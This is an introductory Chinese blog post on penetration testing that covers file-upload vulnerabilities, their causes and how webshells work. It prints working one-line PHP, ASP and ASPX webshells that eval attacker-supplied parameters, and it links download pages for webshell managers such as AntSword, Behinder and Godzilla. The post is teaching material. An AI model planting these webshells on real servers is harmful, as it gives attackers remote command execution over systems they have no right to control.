渗透测试基础- - -文件上传

举报
yd_217360808 发表于 2022/10/08 17:28:04 2022/10/08
【摘要】 简单介绍在渗透测试中webshell和文件上传的基本知识

一,文件上传简介

将客户端数据以文件形式封装,通过网络协议发送到服务器端。在服务器端解析数据,最终在服务端硬 盘上作为真实的文件保存。
通常一个文件以 HTTP 协议进行上传时,将以 POST 请求发送至 Web 服务器, Web 服务器收到请求并同意 后,用户与Web 服务器将建立连接,并传输数据。
 

二,文件上传漏洞简介

文件上传漏洞是指用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务器端命令的能力。常见场景是Web服务器允许用户上传图片或者普通文本文件保存,而用户绕过上传机制上传恶意代码并执行从而控制服务器。

三,文件上传漏洞出现的原因


1. 服务器配置不当
2. 文件上传限制被绕过
3. 开源编辑器的上传漏洞
4. 文件解析漏洞导致文件执行
5. 过滤不严或被绕过

四,Webshell简介


WebShell 就是以 ASP 、 PHP 、 JSP 或者 CGI 等网页文件形式存在的一种命令执行环境,也可以将其称之为 一种网页后门。攻击者在入侵了一个网站后,通常会将这些asp 或 php 后门文件与网站服务器 web 目录下 正常的网页文件混在一起,然后使用浏览器来访问这些后门,得到一个命令执行环境,以达到控制网站 服务器的目的(可以上传下载或者修改文件,操作数据库,执行任意命令等)

常用Webshell:
php 一句话木马: <?php @eval($_POST[value]);?>
asp 一句话木马: <%eval request("value")%>
aspx 一句话木马: <%@ Page Language="Jscript"%><%eval(Request.Item["value"])%>

五,Webshell基本原理

以一句话木马为例

<? php
    @eval ( $_POST [ 'cmd' ]);
?>

php的代码要写在 <?php ?> 里面,服务器才能认出来这是php代码,然后才去解析。 

@ 符号的意思是不报错,因为变量没有定义而被使用,服务器会提醒XXX变量未定义。
$_POST['cmd'];  

六,Webshell管理工具  

中国菜刀

中国菜刀:

蚁剑-AntSword

安装
1. 下载 AntSword - Loader
https://github.com/AntSwordProject/AntSword-Loader/releases
2. 下载 antSword
https://github.com/AntSwordProject/antSword/releases
3. 解压并进入 AntSword - Loader 目录,新建 work 目录,解压 antSword 到 work 目录

冰蝎-Behinder

安装
Behinder 
https://github.com/rebeyond/Behinder/releases

哥斯拉-Godzilla

安装
Godzilla 
https://github.com/BeichenDream/Godzilla/releases
【版权声明】本文为华为云社区用户原创内容,转载时必须标注文章的来源(华为云社区)、文章链接、文章作者等基本信息, 否则作者和本社区有权追究责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@huaweicloud.com
  • 点赞
  • 收藏
  • 关注作者

评论(0

0/1000
抱歉,系统识别当前为高风险访问,暂不支持该操作

全部回复

上滑加载中

设置昵称

在此一键设置昵称,即可参与社区互动!

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。